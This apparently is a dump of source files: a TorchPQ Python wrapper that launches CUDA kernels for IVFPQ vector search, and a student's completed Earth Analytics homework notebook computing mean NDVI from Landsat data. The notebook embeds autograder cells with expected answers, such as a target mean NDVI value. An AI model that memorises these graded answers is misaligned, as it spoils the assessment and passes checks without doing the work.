"max_stars_repo_stars_event_min_datetime": "2016-08-12T07:25:07.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-14T04:00:33.000Z", "max_issues_repo_path": "competitions/image_recognize/image_recognize.py", "max_issues_repo_name": "ChevyShan/kaggle", "max_issues_repo_head_hexsha": "d4c8d813ab0b2c68aa86df275250d0882a31a8d8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2017-10-09T06:32:26.000Z", "max_issues_repo_issues_event_max_datetime": "2017-12-22T12:30:29.000Z", "max_forks_repo_path": "competitions/image_recognize/image_recognize.py", "max_forks_repo_name": "ChevyShan/kaggle", "max_forks_repo_head_hexsha": "d4c8d813ab0b2c68aa86df275250d0882a31a8d8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 55, "max_forks_repo_forks_event_min_datetime": "2016-09-15T14:14:48.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-04T11:31:45.000Z", "avg_line_length": 25.7710843373, "max_line_length": 378, "alphanum_fraction": 0.6724326009, "include": true, "reason": "import numpy", "num_tokens": 2264, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.171061193791558, "lm_q1q2_score": 0.08419429006644066}}
{"text": "import torch\nimport cupy as cp\nimport math\n\nfrom .CustomKernel import CustomKernel\nfrom ..util import get_absolute_path\nfrom time import time\n\nclass DistributedIVFPQTop1Cuda(CustomKernel):\n  \"\"\"\n    What's new:\n      bunch of stuff\n  \"\"\"\n  def __init__(\n      self,\n      m=8,\n      k=256,\n      tpb=256,\n      n_cs=4,\n      sm_size=48*256*4,\n    ):\n    super().__init__()\n    assert tpb >= 32\n    assert tpb == self.next_power_of_2(tpb), \"tpb needs to be a power of 2\"\n    assert k == 256\n    assert m * 1024 <= sm_size\n    assert m % n_cs == 0\n    self.m = m\n    self.k = k\n    self.tpb=tpb\n    self.n_cs = n_cs\n    self.sm_size = sm_size\n    \n    with open(get_absolute_path(\"kernels\", \"cuda\", \"distributed_ivfpq_top1.cu\"), \"r\") as f:\n      self.kernel = f.read()\n    varnames = \", \".join([f\"d{i}\" for i in range(n_cs)])\n    kernel = (self.kernel\n      # .replace(\"_CODEBLOCK_\", codeblock)\n      .replace(\"_VARNAMES_\", varnames)\n      .replace(\"_M_\", str(m))\n      .replace(\"_K_\", str(k))\n      .replace(\"_TPB_\", str(self.tpb))\n      .replace(\"_NCS_\", str(n_cs))\n    )\n    # print(kernel.split('\\n')[60:64])\n    self._top1_fn = cp.RawKernel(\n      code = kernel,\n      name = f'ivfpq_top1',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math',\n        '-lineinfo'\n      ),\n      backend='nvrtc',\n    )\n    self._top1_fn.max_dynamic_shared_size_bytes = sm_size\n\n    self._top1_residual_fn = cp.RawKernel(\n      code = kernel,\n      name = f'ivfpq_top1_residual',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math',\n        '-lineinfo'\n      ),\n      backend='nvrtc',\n    )\n    self._top1_residual_fn.max_dynamic_shared_size_bytes = sm_size\n    \n    self._top1_residual_precomputed_fn = cp.RawKernel(\n      code = kernel,\n      name = 'ivfpq_top1_residual_precomputed',\n      options = (\n        '--maxrregcount=255',\n        '--use_fast_math',\n        '-lineinfo'\n      ),\n      backend='nvrtc',\n    )\n    self._top1_residual_precomputed_fn.max_dynamic_shared_size_bytes = sm_size\n\n  @staticmethod\n  def next_power_of_2(x):\n    return 1 if x == 0 else 2**math.ceil(math.log2(x))\n  \n  def topk(\n      self,\n      address2id_ptr,\n      precomputed,\n      cell_ptr, \n      cell_size, \n      cell_capacity,\n      n_probe_list, \n      n_candidates=1\n    ):\n    \"\"\"\n      # data: shape=[n_subvectors // n_cs, n_data, n_cs], dtype=uint8\n      # is_empty: shape=[n_data], dtype=uint8\n      address2id_ptr: shape=[n_query, max_n_probe]\n      precomputed: shape=[n_subvectors, n_query, n_clusters], dtype=float32\n      cell_ptr: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      cell_capacity: shape=[n_query, max_n_probe], dtype=int64\n      n_probe_list: shape=[n_query], dtype=int64\n    \"\"\"\n    n_query = precomputed.shape[1]\n    n_probe = cell_ptr.shape[1]\n    assert precomputed.shape[0] == self.m\n    assert precomputed.shape[2] == self.k\n    assert precomputed.dtype == torch.float32\n    # n_data = data.shape[1]\n    # assert data.shape[0] == self.m // self.n_cs\n    # assert data.shape[2] == self.n_cs\n    # assert data.dtype == torch.uint8\n    # assert is_empty.shape[0] == n_data\n    # assert is_empty.dtype == torch.uint8\n    assert cell_size.shape[1] == n_probe\n    assert cell_ptr.dtype == cell_size.dtype == cell_capacity.dtype == torch.int64\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    assert n_candidates == 1\n\n    cell_info = torch.stack([cell_size, cell_ptr, cell_capacity], dim=-1)\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, 1, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    address = torch.zeros(n_query, 1, 2, device=\"cuda:0\", dtype=torch.int64)\n    ids = torch.zeros(n_query, 1, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._top1_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        # data.data_ptr(),\n        address2id_ptr.data_ptr(),\n        precomputed.data_ptr(),\n        cell_info.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        address.data_ptr(),\n        ids.data_ptr(),\n        n_query, n_probe\n        ],\n      stream=self.stream\n    )\n    return (values, address)\n\n  def topk_residual(\n      self,\n      address2id_ptr,\n      precomputed, \n      base_sims,\n      cell_ptr, \n      cell_size, \n      cell_capacity, \n      n_probe_list, \n      n_candidates=1\n    ):\n    \"\"\"\n      address2id_ptr: shape=[n_query, max_n_probe], dtype=int64\n      precomputed: shape=[n_query, max_n_probe, n_subvectors, n_clusters], dtype=float32\n      base_sims: shape=[n_query, max_n_probe], dtype=float32\n      cell_ptr: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      cell_capacity: shape=[n_query, max_n_probe], dtype=int64\n      n_probe_list: shape=[n_query], dtype=int64\n    \"\"\"\n    # n_data = data.shape[1]\n    n_query = cell_ptr.shape[0]\n    n_probe = cell_ptr.shape[1]\n    assert precomputed.shape == (n_query, n_probe, self.m, self.k)\n    assert base_sims.shape == (n_query, n_probe)\n    # assert data.shape == (self.m // self.n_cs, n_data, self.n_cs)\n    # assert data.dtype == torch.uint8\n    # assert is_empty.shape == (n_data, )\n    # assert is_empty.dtype == torch.uint8\n    assert cell_size.shape == (n_query, n_probe)\n    assert cell_ptr.shape == (n_query, n_probe)\n    assert cell_capacity.shape == (n_query, n_probe)\n    assert precomputed.dtype == torch.float32\n    assert cell_ptr.dtype == cell_size.dtype == cell_capacity.dtype == torch.int64\n    assert base_sims.dtype == torch.float32\n    assert n_candidates == 1\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    base_sims = base_sims.contiguous()\n\n    cell_info = torch.stack([cell_size, cell_ptr, cell_capacity], dim=-1)\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, 1, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    indices = torch.zeros(n_query, 1, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._top1_residual_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        address2id_ptr.data_ptr(),\n        precomputed.data_ptr(),\n        base_sims.data_ptr(),\n        cell_info.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        indices.data_ptr(),\n        n_query, n_probe\n        ],\n      stream=self.stream\n    )\n    return (values, indices)\n\n  def topk_residual_precomputed(\n      self,\n      address2id_ptr,\n      part1, \n      part2, \n      cells, \n      base_sims,\n      cell_ptr, \n      cell_size, \n      cell_capacity, \n      n_probe_list, \n      n_candidates=1\n    ):\n    \"\"\"\n      address2id_ptr: shape=[n_query, max_n_probe], dtype=int64\n      part1: shape=[n_query, n_subvectors, n_pq_clusters], dtype=float32\n      part2: shape=[n_cells, n_subvectors, n_pq_clusters], dtype=float32\n      cells: shape=[n_query, max_n_probe], dtype=int64\n      base_sims: shape=[n_query, max_n_probe], dtype=float32\n      cell_ptr: shape=[n_query, max_n_probe], dtype=int64\n      cell_size: shape=[n_query, max_n_probe], dtype=int64\n      cell_capacity: shape=[n_query, max_n_probe], dtype=int64\n      n_probe_list: shape=[n_query], dtype=int64\n    \"\"\"\n    # n_data = data.shape[1]\n    n_query = cell_ptr.shape[0]\n    n_probe = cell_ptr.shape[1]\n    assert base_sims.shape == (n_query, n_probe)\n    assert cells.shape == (n_query, n_probe)\n    assert address2id_ptr.shape == (n_query, n_probe)\n    # assert data.shape == (self.m // self.n_cs, n_data, self.n_cs)\n    # assert data.dtype == torch.uint8\n    # assert is_empty.shape == (n_data, )\n    # assert is_empty.dtype == torch.uint8\n    assert cell_size.shape == (n_query, n_probe)\n    assert cell_ptr.shape == (n_query, n_probe)\n    assert cell_capacity.shape == (n_query, n_probe)\n    assert cell_ptr.dtype == cell_size.dtype == cell_capacity.dtype == torch.int64\n    assert base_sims.dtype == torch.float32\n    assert cells.dtype == torch.int64\n    assert part1.dtype == part2.dtype == torch.float32\n    assert n_candidates == 1\n    assert n_probe_list.shape == (n_query, )\n    assert n_probe_list.dtype == torch.int64\n    part1 = part1.contiguous()\n    part2 = part2.contiguous()\n    cells = cells.contiguous()\n    base_sims = base_sims.contiguous()\n\n    cell_info = torch.stack([cell_size, cell_ptr, cell_capacity], dim=-1)\n    tot_size = cell_size.sum(dim=1)\n    values = torch.empty(n_query, 1, device=\"cuda:0\", dtype=torch.float32)\n    values.fill_(float(\"-inf\"))\n    indices = torch.zeros(n_query, 1, device=\"cuda:0\", dtype=torch.int64)\n    threads_per_block = (self.tpb,)\n    blocks_per_grid = (n_query,)\n\n    self._top1_residual_precomputed_fn(\n      grid=blocks_per_grid,\n      block=threads_per_block,\n      shared_mem = self.sm_size,\n      args=[\n        address2id_ptr.data_ptr(),\n        part1.data_ptr(),\n        part2.data_ptr(),\n        cells.data_ptr(),\n        base_sims.data_ptr(),\n        cell_info.data_ptr(),\n        tot_size.data_ptr(),\n        n_probe_list.data_ptr(),\n        values.data_ptr(),\n        indices.data_ptr(),\n        n_query, n_probe\n        ],\n      stream=self.stream\n    )\n    return (values, indices)\n", "meta": {"hexsha": "60c3e9e46d0d7b7167961bc5501fea078895d644", "size": 9515, "ext": "py", "lang": "Python", "max_stars_repo_path": "torchpq/kernels/DistributedIVFPQTop1Cuda.py", "max_stars_repo_name": "DeMoriarty/TorchPQ", "max_stars_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 103, "max_stars_repo_stars_event_min_datetime": "2021-02-10T18:01:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T21:35:05.000Z", "max_issues_repo_path": "torchpq/kernels/DistributedIVFPQTop1Cuda.py", "max_issues_repo_name": "DeMoriarty/TorchPQ", "max_issues_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2021-05-28T14:52:33.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-03T13:09:25.000Z", "max_forks_repo_path": "torchpq/kernels/DistributedIVFPQTop1Cuda.py", "max_forks_repo_name": "DeMoriarty/TorchPQ", "max_forks_repo_head_hexsha": "16e3b3c3c3c701f3772de46075d2fc78ce80a153", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2021-04-24T04:25:24.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-24T07:30:42.000Z", "avg_line_length": 32.1452702703, "max_line_length": 91, "alphanum_fraction": 0.6361534419, "include": true, "reason": "import cupy", "num_tokens": 2602, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1666754046879767, "lm_q1q2_score": 0.08398876489770309}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Mike Sutherland\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# # Workflow pseudocode\n# \n# 1. Download Landsat/vector data\n# 2. Iterate through each LANDSAT scene\n#     * Obtain date, location information\n#     * Iterate through red, NIR bands in each scene directory\n#         * convert to xarray \n#         * remove \"noise\" outside valid/expected data range\n#         * crop to site boundary location\n#     * create NDVI\n#     * apply cloud mask to NDVI\n#     * query mean value\n#     * Aggregate date, location, ndvi infomation\n#     * Write to pre-established empty list\n# 3. Convert list to pandas dataframe\n# 4. Plot dataframe\n# 5. Convert dataframe to csv, writing to disk\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import required site-packages/modules\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.dates import DateFormatter\nimport matplotlib.dates as mdates\nimport seaborn as sns\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nfrom numpy import ma\nimport xarray as xr\nimport rioxarray as rxr\nimport earthpy as et\nimport earthpy.plot as ep\n\n# Adjust plotting style\nsns.set_style('white')\nsns.set(font_scale=1.35)\n\n# Download data and set working directory\net.data.get_data('ndvi-automation')\nos.chdir(os.path.join(et.io.HOME,\n                      'earth-analytics',\n                      'data'))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\ndef fetch_site_date(inpath):\n    \"\"\"Retrieve site location identifier and acquisition date from\n    a given path.\n\n    Parameters\n    -----------\n    inpath : string\n        A list containing two strings representing the site identifier\n        and imagery acquisition date\n\n    Returns\n    -----------\n    date_site : list\n        a cropped and masked xarray object containing NDVI values\n    \"\"\"\n    \n    site_id = os.path.normpath(inpath).split(os.sep)[-3]\n    date_id = os.path.basename(os.path.normpath(inpath))[10:18]\n    date_site = [date_id, site_id]\n    return date_site\n\n\ndef create_ndvi(rastpath, clip_shp, cloud_vals,\n                valid_drange=None):\n    \"\"\"Iterate through a red, NIR bands in each directory and open as an\n    xarray object, concurrently clipping the data in the process and\n    constraining the values to a defined range of expected/valid values.\n    With the xarray objects, calculate the NDVI then apply a cloud mask to\n    eliminate bias in the pixel values. Finally, query and return the mean \n    NDVI value.\n\n    Parameters\n    ----------\n    rastpath: string\n        The defined path to the directory containing the spectral bands\n        that will be used in NDVI calculation.\n    clip_shp: geopandas GeoDataFrame\n        The geopandas object representing the boundary used to clip/crop the\n        imagery.\n    cloud_vals: list\n        A list of pixel values representing cloud cover visible in the\n        imagery which will be used as a mask to remove these data from\n        processing consideration.\n    valid_drange: tuple\n        The range of valid pixel values in the imagery, used to eliminate\n        false/erroneous data (noise) from the imagery.\n        \n    Returns\n    ------\n    ndvi_mean: list\n        A list containing the mean NDVI value; this will be combined with\n        other data lists to create a final pandas dataframe.\n    \"\"\"\n    \n    clip_extent = clip_shp.geometry\n\n    orig_bands = sorted(glob(os.path.join(rastpath, \"*band*[4-5].tif\")))\n    proc_bands = []\n\n    for aband in orig_bands:\n        band = rxr.open_rasterio(aband,\n                                 masked=True).rio.clip(clip_extent).squeeze()\n\n        if valid_drange:\n            mask = ((band < valid_drange[0]) | (band > valid_drange[1]))\n            cleaned_band = band.where(~xr.where(mask, True, False))\n\n        proc_bands.append(cleaned_band)\n\n    ndvi_full = (proc_bands[1]-proc_bands[0]) /         (proc_bands[1]+proc_bands[0])\n\n    # ndvi masking\n    qa_path = glob(os.path.join(rastpath, \"*qa.tif\"))\n    qa_layer = rxr.open_rasterio(qa_path[0],\n                                 masked=True).rio.clip(clip_extent).squeeze()\n\n    ndvi_masked = ndvi_full.where(~qa_layer.isin(cloud_vals))\n    ndvi_mean = [np.nanmean(ndvi_masked)]\n    \n    return ndvi_mean\n\n\ndef list_to_df(inlist):\n    \"\"\"Convert a list containing site location identifiers, acquisition dates\n    and mean NDVI values to a pandas dataframe .\n\n    Parameters\n    -----------\n    inlist : list\n        A list containing the site identifiers and imagery acquisition dates,\n        as well as the mean NDVI values. \n\n    Returns\n    -----------\n    formatted_df : pandas dataframe\n        A formatted datafrmae containing requisite column names and indexed\n        by acqusition date.\n    \"\"\"\n    \n    formatted_df = pd.DataFrame(inlist, columns=[\"date\", \"site\", \"mean_ndvi\"])\n    formatted_df[\"date\"] = pd.to_datetime(formatted_df[\"date\"])\n    formatted_df.set_index(\"date\", inplace=True)\n    return formatted_df\n\n\n# In[6]:\n\n\n# Path definition to Landsat imagery and field site boundary data\nroot_dpath = os.path.join(\"ndvi-automation\", \"sites\",\n                          \"HARV\")\nbands_dpath = os.path.join(root_dpath, \"landsat-crop\",\n                           \"LC080130302017031701T1-SC20181023151837\")\ncrop_extent = gpd.read_file(os.path.join(root_dpath, \"vector\",\n                                         str(os.path.basename(root_dpath)) +\n                                         \"-crop.shp\"))\n\n# Cloud no data vals for Landsat 8\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n# Data range representing valid reflectance values to constrain Landsat data\nvalid_pixels = (0, 10000)\n\n# Empty list creation; needed for subsequent processing steps\ndf_list = []\n\n# Extract & combine acq date, location and NDVI information into a pandas df\nloc_date = fetch_site_date(bands_dpath)\nndvi_calc = create_ndvi(bands_dpath, crop_extent, vals, valid_pixels)\ndf_list.append(loc_date + ndvi_calc)\nfinal_df = list_to_df(df_list)\nfinal_df\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 1 Processing Explanation:\n# \n# During \"Task 1 Processing,\" I've extracted the site name & acquisition date from the string representation of the Landsat scene directory using basic string manipulation methods (indexing/slicing). The raster processing is sequential/methodical in the \"create_ndvi\" function, and although there is some duplication in terms of cropping the raster bands/qa layer individually (rather than simply cropping the final NDVI layer), I chose to use the guidance given in the examples provided in class -- cropping during the xarray creation step based on the evidence of quicker processing time. Overall, the code is fairly straightforward and \"clean\", efficient in the sense that all the \"heavy lifting\" is wrapped up in functions, and the structured in a way that will be easily implemented in iterative loops during subsequent Task 2 processing.  \n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[8]:\n\n\n# Path definition to the field site directory \"level\"\nsites = sorted(glob(os.path.join(\"ndvi-automation\", \"sites\", \"*\")))\n\n# Empty list creation; needed for subsequent processing steps\nndvi_df_list = []\n\n# Iterating through each site directory, processing each contained scene\nfor site in sites:\n    crop_extent = gpd.read_file(os.path.join(site, \"vector\",\n                                             str(os.path.basename(site)) +\n                                             \"-crop.shp\"))\n    dirs = sorted(glob(os.path.join(site, \"landsat-crop\", \"*\")))\n    for dir in dirs:\n        loc_date = fetch_site_date(dir)\n        ndvi_calc = create_ndvi(dir, crop_extent, vals, valid_pixels)\n        ndvi_df_list.append(loc_date + ndvi_calc)\n\n# Final pandas df containing information for all Landsat scenes\nfinal_df = list_to_df(ndvi_df_list)\nfinal_df\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points += 2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points += 2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points += 3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points += 3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# ## Task 2 Processing Explanation\n# \n# Task 2 builds upon the overall workflow defined during Task 1 processing, with the only difference being it is scaled to process multiple Landsat scenes. Although I wanted to try to avoid using nested loops, doing so enabled me to only open the cropping extent once during each \"site level\" iteration (\"outer loop\"), which is somewhat more efficient than what I initially planned to do - simply defining a list at containing all the scenes and iterating through it, which would have forced me to open the crop extent during every iteration.\n\n# In[10]:\n\n\n# Plotting initialization\nf, ax = plt.subplots(figsize=(12, 8))\n\n# Drop nan values in df in order to correctly \"connect the dots\" in the plot\nfinal_df.dropna(inplace=True)\n\n# Plotting the data according to each respective site location\nfor title, group in final_df.groupby(\"site\"):\n    group.groupby(\"site\").plot(y=\"mean_ndvi\",\n                               label=title,\n                               ax=ax,\n                               alpha=.8)\n\n# Added axes labels and title\nax.set(xlabel=\"Date\",\n       ylabel=\"NDVI Value\",\n       title=\"Mean NDVI \\n Landsat 8 w/ Clouds Removed \\n Jan-Dec 2017\")\n\n# Customization of the x-axis tick display\ndate_form = DateFormatter(\"%b %Y\")\nax.xaxis.set_major_formatter(date_form)\nax.xaxis.set_major_locator(mdates.MonthLocator(interval=1))\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# 